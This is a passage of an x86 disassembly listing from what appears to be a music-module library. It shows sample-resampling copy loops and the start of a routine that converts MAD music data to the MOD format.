00008: 00AF 8D 41 03 LEA EAX, DWORD PTR 00000003[ECX]
00008: 00B2 0F AF 44 24 50 IMUL EAX, DWORD PTR 00000050[ESP]
00008: 00B7 99 CDQ
00008: 00B8 F7 7C 24 58 IDIV DWORD PTR 00000058[ESP]
00008: 00BC 8D 79 03 LEA EDI, DWORD PTR 00000003[ECX]
00008: 00BF 8A 04 06 MOV AL, BYTE PTR 00000000[ESI][EAX]
00008: 00C2 88 04 3B MOV BYTE PTR 00000000[EBX][EDI], AL
00008: 00C5 8D 41 04 LEA EAX, DWORD PTR 00000004[ECX]
00008: 00C8 0F AF 44 24 50 IMUL EAX, DWORD PTR 00000050[ESP]
00008: 00CD 99 CDQ
00008: 00CE F7 7C 24 58 IDIV DWORD PTR 00000058[ESP]
00008: 00D2 8D 51 04 LEA EDX, DWORD PTR 00000004[ECX]
00008: 00D5 8A 04 06 MOV AL, BYTE PTR 00000000[ESI][EAX]
00008: 00D8 88 04 13 MOV BYTE PTR 00000000[EBX][EDX], AL
00008: 00DB 8D 41 05 LEA EAX, DWORD PTR 00000005[ECX]
00008: 00DE 0F AF 44 24 50 IMUL EAX, DWORD PTR 00000050[ESP]
00008: 00E3 99 CDQ
00008: 00E4 F7 7C 24 58 IDIV DWORD PTR 00000058[ESP]
00008: 00E8 8D 69 05 LEA EBP, DWORD PTR 00000005[ECX]
00008: 00EB 8A 04 06 MOV AL, BYTE PTR 00000000[ESI][EAX]
00008: 00EE 88 04 2B MOV BYTE PTR 00000000[EBX][EBP], AL
00008: 00F1 8D 41 06 LEA EAX, DWORD PTR 00000006[ECX]
00008: 00F4 0F AF 44 24 50 IMUL EAX, DWORD PTR 00000050[ESP]
00008: 00F9 99 CDQ
00008: 00FA F7 7C 24 58 IDIV DWORD PTR 00000058[ESP]
00008: 00FE 8D 79 06 LEA EDI, DWORD PTR 00000006[ECX]
00008: 0101 8A 04 06 MOV AL, BYTE PTR 00000000[ESI][EAX]
00008: 0104 88 04 3B MOV BYTE PTR 00000000[EBX][EDI], AL
00008: 0107 8D 41 07 LEA EAX, DWORD PTR 00000007[ECX]
00008: 010A 0F AF 44 24 50 IMUL EAX, DWORD PTR 00000050[ESP]
00008: 010F 99 CDQ
00008: 0110 F7 7C 24 58 IDIV DWORD PTR 00000058[ESP]
00008: 0114 8D 51 07 LEA EDX, DWORD PTR 00000007[ECX]
00008: 0117 8A 04 06 MOV AL, BYTE PTR 00000000[ESI][EAX]
00008: 011A 88 04 13 MOV BYTE PTR 00000000[EBX][EDX], AL
00008: 011D 8B 44 24 08 MOV EAX, DWORD PTR 00000008[ESP]
00008: 0121 03 44 24 24 ADD EAX, DWORD PTR 00000024[ESP]
00008: 0125 89 44 24 08 MOV DWORD PTR 00000008[ESP], EAX
00008: 0129 83 C1 08 ADD ECX, 00000008
00008: 012C 3B 4C 24 20 CMP ECX, DWORD PTR 00000020[ESP]
00008: 0130 0F 8C FFFFFF3E JL L0005
00008: 0136 L0004:
00008: 0136 3B 4C 24 2C CMP ECX, DWORD PTR 0000002C[ESP]
00008: 013A 0F 8D 000003DF JGE L0003
00008: 0140 89 CF MOV EDI, ECX
00008: 0142 0F AF 7C 24 50 IMUL EDI, DWORD PTR 00000050[ESP]
00000: 0147 ALIGN 00000010, 00000008
00008: 0147 L0006:
00008: 0147 89 F8 MOV EAX, EDI
00008: 0149 99 CDQ
00008: 014A F7 7C 24 58 IDIV DWORD PTR 00000058[ESP]
00008: 014E 8A 04 06 MOV AL, BYTE PTR 00000000[ESI][EAX]
00008: 0151 88 04 0B MOV BYTE PTR 00000000[EBX][ECX], AL
00008: 0154 03 7C 24 50 ADD EDI, DWORD PTR 00000050[ESP]
00008: 0158 41 INC ECX
00008: 0159 3B 4C 24 2C CMP ECX, DWORD PTR 0000002C[ESP]
00008: 015D 7C FFFFFFE8 JL L0006
00008: 015F E9 000003BB JMP L0003
00000: 0164 ALIGN 00000010, 00000008
00008: 0164 L0002:
00008: 0164 31 ED XOR EBP, EBP
00008: 0166 81 7C 24 2C 80000000 CMP DWORD PTR 0000002C[ESP], 80000000
00008: 016E 83 5C 24 2C FFFFFFFF SBB DWORD PTR 0000002C[ESP], FFFFFFFF
00008: 0173 D1 7C 24 2C SAR DWORD PTR 0000002C[ESP], 00000001
00008: 0177 83 7C 24 2C 00 CMP DWORD PTR 0000002C[ESP], 00000000
00008: 017C 0F 8E 0000039D JLE L0003
00008: 0182 8B 5C 24 2C MOV EBX, DWORD PTR 0000002C[ESP]
00008: 0186 83 C3 FFFFFFF8 ADD EBX, FFFFFFF8
00008: 0189 83 7C 24 2C 08 CMP DWORD PTR 0000002C[ESP], 00000008
00008: 018E 0F 8E 000000C7 JLE L0007
00008: 0194 31 F6 XOR ESI, ESI
00008: 0196 8B 44 24 50 MOV EAX, DWORD PTR 00000050[ESP]
00008: 019A 89 44 24 10 MOV DWORD PTR 00000010[ESP], EAX
00008: 019E C1 64 24 10 03 SHL DWORD PTR 00000010[ESP], 00000003
00000: 01A3 ALIGN 00000010, 00000008
00008: 01A3 L0008:
00008: 01A3 89 F0 MOV EAX, ESI
00008: 01A5 99 CDQ
00008: 01A6 F7 7C 24 58 IDIV DWORD PTR 00000058[ESP]
00008: 01AA 66 8B 04 41 MOV AX, WORD PTR 00000000[ECX][EAX*2]
00008: 01AE 66 89 04 6F MOV WORD PTR 00000000[EDI][EBP*2], AX
00008: 01B2 89 E8 MOV EAX, EBP
00008: 01B4 40 INC EAX
00008: 01B5 0F AF 44 24 50 IMUL EAX, DWORD PTR 00000050[ESP]
00008: 01BA 99 CDQ
00008: 01BB F7 7C 24 58 IDIV DWORD PTR 00000058[ESP]
00008: 01BF 66 8B 04 41 MOV AX, WORD PTR 00000000[ECX][EAX*2]
00008: 01C3 66 89 44 6F 02 MOV WORD PTR 00000002[EDI][EBP*2], AX
00008: 01C8 8D 45 02 LEA EAX, DWORD PTR 00000002[EBP]
00008: 01CB 0F AF 44 24 50 IMUL EAX, DWORD PTR 00000050[ESP]
00008: 01D0 99 CDQ
00008: 01D1 F7 7C 24 58 IDIV DWORD PTR 00000058[ESP]
00008: 01D5 66 8B 04 41 MOV AX, WORD PTR 00000000[ECX][EAX*2]
00008: 01D9 66 89 44 6F 04 MOV WORD PTR 00000004[EDI][EBP*2], AX
00008: 01DE 8D 45 03 LEA EAX, DWORD PTR 00000003[EBP]
00008: 01E1 0F AF 44 24 50 IMUL EAX, DWORD PTR 00000050[ESP]
00008: 01E6 99 CDQ
00008: 01E7 F7 7C 24 58 IDIV DWORD PTR 00000058[ESP]
00008: 01EB 66 8B 04 41 MOV AX, WORD PTR 00000000[ECX][EAX*2]
00008: 01EF 66 89 44 6F 06 MOV WORD PTR 00000006[EDI][EBP*2], AX
00008: 01F4 8D 45 04 LEA EAX, DWORD PTR 00000004[EBP]
00008: 01F7 0F AF 44 24 50 IMUL EAX, DWORD PTR 00000050[ESP]
00008: 01FC 99 CDQ
00008: 01FD F7 7C 24 58 IDIV DWORD PTR 00000058[ESP]
00008: 0201 66 8B 04 41 MOV AX, WORD PTR 00000000[ECX][EAX*2]
00008: 0205 66 89 44 6F 08 MOV WORD PTR 00000008[EDI][EBP*2], AX
00008: 020A 8D 45 05 LEA EAX, DWORD PTR 00000005[EBP]
00008: 020D 0F AF 44 24 50 IMUL EAX, DWORD PTR 00000050[ESP]
00008: 0212 99 CDQ
00008: 0213 F7 7C 24 58 IDIV DWORD PTR 00000058[ESP]
00008: 0217 66 8B 04 41 MOV AX, WORD PTR 00000000[ECX][EAX*2]
00008: 021B 66 89 44 6F 0A MOV WORD PTR 0000000A[EDI][EBP*2], AX
00008: 0220 8D 45 06 LEA EAX, DWORD PTR 00000006[EBP]
00008: 0223 0F AF 44 24 50 IMUL EAX, DWORD PTR 00000050[ESP]
00008: 0228 99 CDQ
00008: 0229 F7 7C 24 58 IDIV DWORD PTR 00000058[ESP]
00008: 022D 66 8B 04 41 MOV AX, WORD PTR 00000000[ECX][EAX*2]
00008: 0231 66 89 44 6F 0C MOV WORD PTR 0000000C[EDI][EBP*2], AX
00008: 0236 8D 45 07 LEA EAX, DWORD PTR 00000007[EBP]
00008: 0239 0F AF 44 24 50 IMUL EAX, DWORD PTR 00000050[ESP]
00008: 023E 99 CDQ
00008: 023F F7 7C 24 58 IDIV DWORD PTR 00000058[ESP]
00008: 0243 66 8B 04 41 MOV AX, WORD PTR 00000000[ECX][EAX*2]
00008: 0247 66 89 44 6F 0E MOV WORD PTR 0000000E[EDI][EBP*2], AX
00008: 024C 03 74 24 10 ADD ESI, DWORD PTR 00000010[ESP]
00008: 0250 83 C5 08 ADD EBP, 00000008
00008: 0253 39 DD CMP EBP, EBX
00008: 0255 0F 8C FFFFFF48 JL L0008
00008: 025B L0007:
00008: 025B 89 EE MOV ESI, EBP
00008: 025D 0F AF 74 24 50 IMUL ESI, DWORD PTR 00000050[ESP]
00008: 0262 EB 14 JMP L0009
00000: 0264 ALIGN 00000010, 00000008
00008: 0264 L000A:
00008: 0264 89 F0 MOV EAX, ESI
00008: 0266 99 CDQ
00008: 0267 F7 7C 24 58 IDIV DWORD PTR 00000058[ESP]
00008: 026B 66 8B 04 41 MOV AX, WORD PTR 00000000[ECX][EAX*2]
00008: 026F 66 89 04 6F MOV WORD PTR 00000000[EDI][EBP*2], AX
00008: 0273 03 74 24 50 ADD ESI, DWORD PTR 00000050[ESP]
00008: 0277 45 INC EBP
00008: 0278 L0009:
00008: 0278 3B 6C 24 2C CMP EBP, DWORD PTR 0000002C[ESP]
00008: 027C 7C FFFFFFE6 JL L000A
00008: 027E E9 0000029C JMP L0003
00000: 0283 ALIGN 00000010, 00000008
00008: 0283 L0001:
00008: 0283 66 83 FD 08 CMP BP, 0008
00008: 0287 0F 85 0000016B JNE L000B
00008: 028D C7 04 24 00000000 MOV DWORD PTR 00000000[ESP], 00000000
00008: 0294 83 7C 24 48 00 CMP DWORD PTR 00000048[ESP], 00000000
00008: 0299 0F 8E 00000280 JLE L0003
00008: 029F 8B 44 24 48 MOV EAX, DWORD PTR 00000048[ESP]
00008: 02A3 89 44 24 1C MOV DWORD PTR 0000001C[ESP], EAX
00008: 02A7 83 44 24 1C FFFFFFF8 ADD DWORD PTR 0000001C[ESP], FFFFFFF8
00008: 02AC 83 7C 24 48 08 CMP DWORD PTR 00000048[ESP], 00000008
00008: 02B1 0F 8E 00000108 JLE L000C
00008: 02B7 C7 44 24 04 00000000 MOV DWORD PTR 00000004[ESP], 00000000
00008: 02BF 8B 44 24 58 MOV EAX, DWORD PTR 00000058[ESP]
00008: 02C3 89 44 24 28 MOV DWORD PTR 00000028[ESP], EAX
00008: 02C7 C1 64 24 28 03 SHL DWORD PTR 00000028[ESP], 00000003
00000: 02CC 8D 44 20 00 ALIGN 00000010, 00000008
00008: 02D0 L000D:
00008: 02D0 8B 44 24 04 MOV EAX, DWORD PTR 00000004[ESP]
00008: 02D4 99 CDQ
00008: 02D5 F7 7C 24 50 IDIV DWORD PTR 00000050[ESP]
00008: 02D9 8B 0C 24 MOV ECX, DWORD PTR 00000000[ESP]
00008: 02DC 8A 0C 0E MOV CL, BYTE PTR 00000000[ESI][ECX]
00008: 02DF 88 0C 03 MOV BYTE PTR 00000000[EBX][EAX], CL
00008: 02E2 8B 04 24 MOV EAX, DWORD PTR 00000000[ESP]
00008: 02E5 40 INC EAX
00008: 02E6 0F AF 44 24 58 IMUL EAX, DWORD PTR 00000058[ESP]
00008: 02EB 99 CDQ
00008: 02EC F7 7C 24 50 IDIV DWORD PTR 00000050[ESP]
00008: 02F0 8B 3C 24 MOV EDI, DWORD PTR 00000000[ESP]
00008: 02F3 47 INC EDI
00008: 02F4 8A 14 3E MOV DL, BYTE PTR 00000000[ESI][EDI]
00008: 02F7 88 14 03 MOV BYTE PTR 00000000[EBX][EAX], DL
00008: 02FA 8B 04 24 MOV EAX, DWORD PTR 00000000[ESP]
00008: 02FD 83 C0 02 ADD EAX, 00000002
00008: 0300 0F AF 44 24 58 IMUL EAX, DWORD PTR 00000058[ESP]
00008: 0305 99 CDQ
00008: 0306 F7 7C 24 50 IDIV DWORD PTR 00000050[ESP]
00008: 030A 8B 2C 24 MOV EBP, DWORD PTR 00000000[ESP]
00008: 030D 83 C5 02 ADD EBP, 00000002
00008: 0310 8A 0C 2E MOV CL, BYTE PTR 00000000[ESI][EBP]
00008: 0313 88 0C 03 MOV BYTE PTR 00000000[EBX][EAX], CL
00008: 0316 8B 04 24 MOV EAX, DWORD PTR 00000000[ESP]
00008: 0319 83 C0 03 ADD EAX, 00000003
00008: 031C 0F AF 44 24 58 IMUL EAX, DWORD PTR 00000058[ESP]
00008: 0321 99 CDQ
00008: 0322 F7 7C 24 50 IDIV DWORD PTR 00000050[ESP]
00008: 0326 8B 3C 24 MOV EDI, DWORD PTR 00000000[ESP]
00008: 0329 83 C7 03 ADD EDI, 00000003
00008: 032C 8A 14 3E MOV DL, BYTE PTR 00000000[ESI][EDI]
00008: 032F 88 14 03 MOV BYTE PTR 00000000[EBX][EAX], DL
00008: 0332 8B 04 24 MOV EAX, DWORD PTR 00000000[ESP]
00008: 0335 83 C0 04 ADD EAX, 00000004
00008: 0338 0F AF 44 24 58 IMUL EAX, DWORD PTR 00000058[ESP]
00008: 033D 99 CDQ
00008: 033E F7 7C 24 50 IDIV DWORD PTR 00000050[ESP]
00008: 0342 8B 2C 24 MOV EBP, DWORD PTR 00000000[ESP]
00008: 0345 83 C5 04 ADD EBP, 00000004
00008: 0348 8A 0C 2E MOV CL, BYTE PTR 00000000[ESI][EBP]
00008: 034B 88 0C 03 MOV BYTE PTR 00000000[EBX][EAX], CL
00008: 034E 8B 04 24 MOV EAX, DWORD PTR 00000000[ESP]
00008: 0351 83 C0 05 ADD EAX, 00000005
00008: 0354 0F AF 44 24 58 IMUL EAX, DWORD PTR 00000058[ESP]
00008: 0359 99 CDQ
00008: 035A F7 7C 24 50 IDIV DWORD PTR 00000050[ESP]
00008: 035E 8B 3C 24 MOV EDI, DWORD PTR 00000000[ESP]
00008: 0361 83 C7 05 ADD EDI, 00000005
00008: 0364 8A 14 3E MOV DL, BYTE PTR 00000000[ESI][EDI]
00008: 0367 88 14 03 MOV BYTE PTR 00000000[EBX][EAX], DL
00008: 036A 8B 04 24 MOV EAX, DWORD PTR 00000000[ESP]
00008: 036D 83 C0 06 ADD EAX, 00000006
00008: 0370 0F AF 44 24 58 IMUL EAX, DWORD PTR 00000058[ESP]
00008: 0375 99 CDQ
00008: 0376 F7 7C 24 50 IDIV DWORD PTR 00000050[ESP]
00008: 037A 8B 2C 24 MOV EBP, DWORD PTR 00000000[ESP]
00008: 037D 83 C5 06 ADD EBP, 00000006
00008: 0380 8A 0C 2E MOV CL, BYTE PTR 00000000[ESI][EBP]
00008: 0383 88 0C 03 MOV BYTE PTR 00000000[EBX][EAX], CL
00008: 0386 8B 04 24 MOV EAX, DWORD PTR 00000000[ESP]
00008: 0389 83 C0 07 ADD EAX, 00000007
00008: 038C 0F AF 44 24 58 IMUL EAX, DWORD PTR 00000058[ESP]
00008: 0391 99 CDQ
00008: 0392 F7 7C 24 50 IDIV DWORD PTR 00000050[ESP]
00008: 0396 8B 3C 24 MOV EDI, DWORD PTR 00000000[ESP]
00008: 0399 83 C7 07 ADD EDI, 00000007
00008: 039C 8A 14 3E MOV DL, BYTE PTR 00000000[ESI][EDI]
00008: 039F 88 14 03 MOV BYTE PTR 00000000[EBX][EAX], DL
00008: 03A2 8B 44 24 04 MOV EAX, DWORD PTR 00000004[ESP]
00008: 03A6 03 44 24 28 ADD EAX, DWORD PTR 00000028[ESP]
00008: 03AA 89 44 24 04 MOV DWORD PTR 00000004[ESP], EAX
00008: 03AE 83 04 24 08 ADD DWORD PTR 00000000[ESP], 00000008
00008: 03B2 8B 04 24 MOV EAX, DWORD PTR 00000000[ESP]
00008: 03B5 3B 44 24 1C CMP EAX, DWORD PTR 0000001C[ESP]
00008: 03B9 0F 8C FFFFFF11 JL L000D
00008: 03BF L000C:
00008: 03BF 8B 04 24 MOV EAX, DWORD PTR 00000000[ESP]
00008: 03C2 3B 44 24 48 CMP EAX, DWORD PTR 00000048[ESP]
00008: 03C6 0F 8D 00000153 JGE L0003
00008: 03CC 89 C5 MOV EBP, EAX
00008: 03CE 0F AF 6C 24 58 IMUL EBP, DWORD PTR 00000058[ESP]
00000: 03D3 ALIGN 00000010, 00000008
00008: 03D3 L000E:
00008: 03D3 89 E8 MOV EAX, EBP
00008: 03D5 99 CDQ
00008: 03D6 F7 7C 24 50 IDIV DWORD PTR 00000050[ESP]
00008: 03DA 8B 0C 24 MOV ECX, DWORD PTR 00000000[ESP]
00008: 03DD 8A 0C 0E MOV CL, BYTE PTR 00000000[ESI][ECX]
00008: 03E0 88 0C 03 MOV BYTE PTR 00000000[EBX][EAX], CL
00008: 03E3 03 6C 24 58 ADD EBP, DWORD PTR 00000058[ESP]
00008: 03E7 FF 04 24 INC DWORD PTR 00000000[ESP]
00008: 03EA 8B 04 24 MOV EAX, DWORD PTR 00000000[ESP]
00008: 03ED 3B 44 24 48 CMP EAX, DWORD PTR 00000048[ESP]
00008: 03F1 7C FFFFFFE0 JL L000E
00008: 03F3 E9 00000127 JMP L0003
00000: 03F8 ALIGN 00000010, 00000008
00008: 03F8 L000B:
00008: 03F8 31 DB XOR EBX, EBX
00008: 03FA 8B 44 24 48 MOV EAX, DWORD PTR 00000048[ESP]
00008: 03FE 89 44 24 18 MOV DWORD PTR 00000018[ESP], EAX
00008: 0402 3D 80000000 CMP EAX, 80000000
00008: 0407 83 5C 24 18 FFFFFFFF SBB DWORD PTR 00000018[ESP], FFFFFFFF
00008: 040C D1 7C 24 18 SAR DWORD PTR 00000018[ESP], 00000001
00008: 0410 83 7C 24 18 00 CMP DWORD PTR 00000018[ESP], 00000000
00008: 0415 0F 8E 00000104 JLE L0003
00008: 041B 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 041F 89 44 24 0C MOV DWORD PTR 0000000C[ESP], EAX
00008: 0423 83 44 24 0C FFFFFFF8 ADD DWORD PTR 0000000C[ESP], FFFFFFF8
00008: 0428 83 7C 24 18 08 CMP DWORD PTR 00000018[ESP], 00000008
00008: 042D 0F 8E 000000C9 JLE L000F
00008: 0433 31 F6 XOR ESI, ESI
00008: 0435 8B 44 24 58 MOV EAX, DWORD PTR 00000058[ESP]
00008: 0439 89 44 24 14 MOV DWORD PTR 00000014[ESP], EAX
00008: 043D C1 64 24 14 03 SHL DWORD PTR 00000014[ESP], 00000003
00000: 0442 ALIGN 00000010, 00000008
00008: 0442 L0010:
00008: 0442 89 F0 MOV EAX, ESI
00008: 0444 99 CDQ
00008: 0445 F7 7C 24 50 IDIV DWORD PTR 00000050[ESP]
00008: 0449 66 8B 14 59 MOV DX, WORD PTR 00000000[ECX][EBX*2]
00008: 044D 66 89 14 47 MOV WORD PTR 00000000[EDI][EAX*2], DX
00008: 0451 89 D8 MOV EAX, EBX
00008: 0453 40 INC EAX
00008: 0454 0F AF 44 24 58 IMUL EAX, DWORD PTR 00000058[ESP]
00008: 0459 99 CDQ
00008: 045A F7 7C 24 50 IDIV DWORD PTR 00000050[ESP]
00008: 045E 66 8B 6C 59 02 MOV BP, WORD PTR 00000002[ECX][EBX*2]
00008: 0463 66 89 2C 47 MOV WORD PTR 00000000[EDI][EAX*2], BP
00008: 0467 8D 43 02 LEA EAX, DWORD PTR 00000002[EBX]
00008: 046A 0F AF 44 24 58 IMUL EAX, DWORD PTR 00000058[ESP]
00008: 046F 99 CDQ
00008: 0470 F7 7C 24 50 IDIV DWORD PTR 00000050[ESP]
00008: 0474 66 8B 54 59 04 MOV DX, WORD PTR 00000004[ECX][EBX*2]
00008: 0479 66 89 14 47 MOV WORD PTR 00000000[EDI][EAX*2], DX
00008: 047D 8D 43 03 LEA EAX, DWORD PTR 00000003[EBX]
00008: 0480 0F AF 44 24 58 IMUL EAX, DWORD PTR 00000058[ESP]
00008: 0485 99 CDQ
00008: 0486 F7 7C 24 50 IDIV DWORD PTR 00000050[ESP]
00008: 048A 66 8B 6C 59 06 MOV BP, WORD PTR 00000006[ECX][EBX*2]
00008: 048F 66 89 2C 47 MOV WORD PTR 00000000[EDI][EAX*2], BP
00008: 0493 8D 43 04 LEA EAX, DWORD PTR 00000004[EBX]
00008: 0496 0F AF 44 24 58 IMUL EAX, DWORD PTR 00000058[ESP]
00008: 049B 99 CDQ
00008: 049C F7 7C 24 50 IDIV DWORD PTR 00000050[ESP]
00008: 04A0 66 8B 54 59 08 MOV DX, WORD PTR 00000008[ECX][EBX*2]
00008: 04A5 66 89 14 47 MOV WORD PTR 00000000[EDI][EAX*2], DX
00008: 04A9 8D 43 05 LEA EAX, DWORD PTR 00000005[EBX]
00008: 04AC 0F AF 44 24 58 IMUL EAX, DWORD PTR 00000058[ESP]
00008: 04B1 99 CDQ
00008: 04B2 F7 7C 24 50 IDIV DWORD PTR 00000050[ESP]
00008: 04B6 66 8B 6C 59 0A MOV BP, WORD PTR 0000000A[ECX][EBX*2]
00008: 04BB 66 89 2C 47 MOV WORD PTR 00000000[EDI][EAX*2], BP
00008: 04BF 8D 43 06 LEA EAX, DWORD PTR 00000006[EBX]
00008: 04C2 0F AF 44 24 58 IMUL EAX, DWORD PTR 00000058[ESP]
00008: 04C7 99 CDQ
00008: 04C8 F7 7C 24 50 IDIV DWORD PTR 00000050[ESP]
00008: 04CC 66 8B 54 59 0C MOV DX, WORD PTR 0000000C[ECX][EBX*2]
00008: 04D1 66 89 14 47 MOV WORD PTR 00000000[EDI][EAX*2], DX
00008: 04D5 8D 43 07 LEA EAX, DWORD PTR 00000007[EBX]
00008: 04D8 0F AF 44 24 58 IMUL EAX, DWORD PTR 00000058[ESP]
00008: 04DD 99 CDQ
00008: 04DE F7 7C 24 50 IDIV DWORD PTR 00000050[ESP]
00008: 04E2 66 8B 6C 59 0E MOV BP, WORD PTR 0000000E[ECX][EBX*2]
00008: 04E7 66 89 2C 47 MOV WORD PTR 00000000[EDI][EAX*2], BP
00008: 04EB 03 74 24 14 ADD ESI, DWORD PTR 00000014[ESP]
00008: 04EF 83 C3 08 ADD EBX, 00000008
00008: 04F2 3B 5C 24 0C CMP EBX, DWORD PTR 0000000C[ESP]
00008: 04F6 0F 8C FFFFFF46 JL L0010
00008: 04FC L000F:
00008: 04FC 89 DD MOV EBP, EBX
00008: 04FE 0F AF 6C 24 58 IMUL EBP, DWORD PTR 00000058[ESP]
00008: 0503 EB 14 JMP L0011
00000: 0505 ALIGN 00000010, 00000008
00008: 0505 L0012:
00008: 0505 89 E8 MOV EAX, EBP
00008: 0507 99 CDQ
00008: 0508 F7 7C 24 50 IDIV DWORD PTR 00000050[ESP]
00008: 050C 66 8B 14 59 MOV DX, WORD PTR 00000000[ECX][EBX*2]
00008: 0510 66 89 14 47 MOV WORD PTR 00000000[EDI][EAX*2], DX
00008: 0514 03 6C 24 58 ADD EBP, DWORD PTR 00000058[ESP]
00008: 0518 43 INC EBX
00008: 0519 L0011:
00008: 0519 3B 5C 24 18 CMP EBX, DWORD PTR 00000018[ESP]
00008: 051D 7C FFFFFFE6 JL L0012
00008: 051F L0003:
00008: 051F 8B 44 24 48 MOV EAX, DWORD PTR 00000048[ESP]
00008: 0523 0F AF 44 24 58 IMUL EAX, DWORD PTR 00000058[ESP]
00008: 0528 99 CDQ
00008: 0529 F7 7C 24 50 IDIV DWORD PTR 00000050[ESP]
00000: 052D L0000:
00000: 052D 83 C4 30 ADD ESP, 00000030
00000: 0530 5D POP EBP
00000: 0531 5F POP EDI
00000: 0532 5E POP ESI
00000: 0533 5B POP EBX
00000: 0534 C3 RETN
Function: ?PPConvertMad2Mod@@YAPADPAUMADMusic@@PAUMADDriverSettings@@PAJ@Z
00000: 0000 53 PUSH EBX
00000: 0001 56 PUSH ESI
00000: 0002 57 PUSH EDI
00000: 0003 55 PUSH EBP
00000: 0004 81 EC 00000220 SUB ESP, 00000220
00000: 000A 8B AC 24 00000234 MOV EBP, DWORD PTR 00000234[ESP]
00008: 0011 8D BC 24 00000180 LEA EDI, DWORD PTR 00000180[ESP]
00008: 0018 BE 00000000 MOV ESI, OFFSET @808
00008: 001D B9 00000025 MOV ECX, 00000025
00008: 0022 F3 A5 REP MOVSD
00008: 0024 66 A5 MOVSW
00008: 0026 C7 44 24 44 00000000 MOV DWORD PTR 00000044[ESP], 00000000
00008: 002E 31 F6 XOR ESI, ESI
00008: 0030 31 FF XOR EDI, EDI
00008: 0032 31 C9 XOR ECX, ECX
00000: 0034 ALIGN 00000010, 00000008
00008: 0034 L0001:
00008: 0034 8B 85 00000324 MOV EAX, DWORD PTR 00000324[EBP]
00008: 003A 66 83 7C 38 24 00 CMP WORD PTR 00000024[EAX][EDI], 0000
00008: 0040 7E 2D JLE L0002
00008: 0042 8B 95 00000328 MOV EDX, DWORD PTR 00000328[EBP]
00008: 0048 8B 1C 0A MOV EBX, DWORD PTR 00000000[EDX][ECX]
00008: 004B 8B 43 34 MOV EAX, DWORD PTR 00000034[EBX]
00008: 004E 89 44 B4 7C MOV DWORD PTR 0000007C[ESP][ESI*4], EAX
00008: 0052 8B 03 MOV EAX, DWORD PTR 00000000[EBX]
00008: 0054 66 8B 53 0E MOV DX, WORD PTR 0000000E[EBX]
00008: 0058 66 81 FA 1ED7 CMP DX, 1ED7
00008: 005D 73 0C JAE L0003
00008: 005F 0F B7 DA MOVZX EBX, DX
00008: 0062 69 C0 000020AB IMUL EAX, EAX, 000020AB
00008: 0068 99 CDQ
00008: 0069 F7 FB IDIV EBX
00008: 006B L0003:
00008: 006B 01 44 24 44 ADD DWORD PTR 00000044[ESP], EAX
00008: 006F L0002:
00008: 006F 81 C7 0000012C ADD EDI, 0000012C
00008: 0075 81 C1 00000100 ADD ECX, 00000100
00008: 007B 46 INC ESI
00008: 007C 83 FE 1F CMP ESI, 0000001F
00008: 007F 7C FFFFFFB3 JL L0001
00008: 0081 8B 55 00 MOV EDX, DWORD PTR 00000000[EBP]
00008: 0084 0F B6 9A 00000125 MOVZX EBX, BYTE PTR 00000125[EDX]
00008: 008B C1 E3 06 SHL EBX, 00000006
00008: 008E 0F B6 82 00000124 MOVZX EAX, BYTE PTR 00000124[EDX]
00008: 0095 0F AF D8 IMUL EBX, EAX
00008: 0098 8D 1C 9D 00000000 LEA EBX, [00000000][EBX*4]
00008: 009F 81 44 24 44 0000043C ADD DWORD PTR 00000044[ESP], 0000043C
00008: 00A7 03 5C 24 44 ADD EBX, DWORD PTR 00000044[ESP]
00008: 00AB 8B 84 24 0000023C MOV EAX, DWORD PTR 0000023C[ESP]
00008: 00B2 89 18 MOV DWORD PTR 00000000[EAX], EBX
00008: 00B4 8B 94 24 00000238 MOV EDX, DWORD PTR 00000238[ESP]
00008: 00BB 52 PUSH EDX
00008: 00BC 8B 00 MOV EAX, DWORD PTR 00000000[EAX]
00008: 00BE 05 000061A8 ADD EAX, 000061A8
00008: 00C3 50 PUSH EAX
00008: 00C4 E8 00000000 CALL SHORT ?MADPlugNewPtr@@YAPADJPAUMADDriverSettings@@@Z
00008: 00C9 59 POP ECX
00008: 00CA 59 POP ECX
00008: 00CB 89 44 24 18 MOV DWORD PTR 00000018[ESP], EAX
00008: 00CF 85 C0 TEST EAX, EAX
00008: 00D1 75 0D JNE L0004
00008: 00D3 31 C0 XOR EAX, EAX
00000: 00D5 81 C4 00000220 ADD ESP, 00000220
00000: 00DB 5D POP EBP
00000: 00DC 5F POP EDI
00000: 00DD 5E POP ESI
00000: 00DE 5B POP EBX
00000: 00DF C3 RETN
00000: 00E0 ALIGN 00000010, 00000008
00008: 00E0 L0004:
00008: 00E0 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 00E4 89 44 24 4C MOV DWORD PTR 0000004C[ESP], EAX
00008: 00E8 8B 8C 24 0000023C MOV ECX, DWORD PTR 0000023C[ESP]
00008: 00EF 03 01 ADD EAX, DWORD PTR 00000000[ECX]
00008: 00F1 89 44 24 4C MOV DWORD PTR 0000004C[ESP], EAX
00008: 00F5 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 00F9 C7 80 000004384D2E4B2E MOV DWORD PTR 00000438[EAX], 4D2E4B2E
00008: 0103 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 0106 8A 80 00000125 MOV AL, BYTE PTR 00000125[EAX]
00008: 010C 3C 04 CMP AL, 04
00008: 010E 0F 86 00000096 JBE L0005
00008: 0114 3C 0A CMP AL, 0A
00008: 0116 72 5E JB L0006
00008: 0118 0F B6 D0 MOVZX EDX, AL
00008: 011B B8 66666667 MOV EAX, 66666667
00008: 0120 89 D3 MOV EBX, EDX
00008: 0122 F7 EA IMUL EDX
00008: 0124 C1 EB 1F SHR EBX, 0000001F
00008: 0127 C1 FA 02 SAR EDX, 00000002
00008: 012A 01 D3 ADD EBX, EDX
00008: 012C 80 C3 30 ADD BL, 30
00008: 012F 88 9C 24 0000017C MOV BYTE PTR 0000017C[ESP], BL
00008: 0136 8B 75 00 MOV ESI, DWORD PTR 00000000[EBP]
00008: 0139 0F B6 8E 00000125 MOVZX ECX, BYTE PTR 00000125[ESI]
00008: 0140 89 CA MOV EDX, ECX
00008: 0142 B8 66666667 MOV EAX, 66666667
00008: 0147 89 D3 MOV EBX, EDX
00008: 0149 F7 EA IMUL EDX
00008: 014B C1 EB 1F SHR EBX, 0000001F
00008: 014E C1 FA 02 SAR EDX, 00000002
00008: 0151 01 D3 ADD EBX, EDX
00008: 0153 8D 1C 9B LEA EBX, DWORD PTR 00000000[EBX][EBX*4]
00008: 0156 01 DB ADD EBX, EBX
00008: 0158 28 D9 SUB CL, BL
